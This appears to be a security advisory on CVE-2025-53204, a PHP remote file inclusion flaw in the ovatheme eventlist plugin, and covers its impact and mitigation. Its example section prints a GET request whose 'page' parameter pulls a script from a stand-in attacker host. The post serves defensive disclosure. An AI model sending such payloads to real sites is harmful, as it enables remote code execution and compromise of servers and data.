Overview
In the rapidly evolving world of cybersecurity, a new vulnerability has caught our attention: the CVE-2025-53204. This vulnerability pertains to an improper control of filename for include/require statement in PHP Program, commonly known as a ‘PHP Remote File Inclusion’ vulnerability. The affected software is ovatheme’s eventlist, a widely used event management plugin for websites. This vulnerability is significant because it poses a risk of system compromise and data leakage, making it a pressing issue for any organization utilizing this software.
Vulnerability Summary
CVE ID: CVE-2025-53204
Severity: High (CVSS score 8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
ovatheme eventlist | through 1.9.2
How the Exploit Works
The vulnerability exists due to an error in the eventlist software’s processing of PHP include/require statements. This allows an attacker to manipulate the filename parameter and include arbitrary files from remote servers. These files could contain malicious PHP code, which would then be executed in the context of the web server. As a result, the attacker could gain unauthorized access to the system or sensitive data.
Conceptual Example Code
Here’s an example of how the vulnerability might be exploited:
GET /path/to/eventlist/index.php?page=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, the attacker has manipulated the “page” parameter to include a malicious PHP script hosted on their own server (`http://malicious.com/malicious_script.txt`). When the server processes this request, it includes the malicious script, which is then executed on the server. This could lead to a variety of harmful outcomes, depending on the content of the malicious script.
Mitigation Guidance
Organizations are urged to apply the vendor-provided patch as soon as possible to mitigate the risk posed by this vulnerability. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability. When configuring these systems, look for suspicious activity involving the manipulation of PHP include/require statements, particularly those involving remote file references.
In conclusion, the CVE-2025-53204 is a high-severity vulnerability that requires immediate attention. By understanding the nature of the vulnerability and taking the appropriate steps to mitigate its risks, organizations can help protect their systems and data from potential compromise.
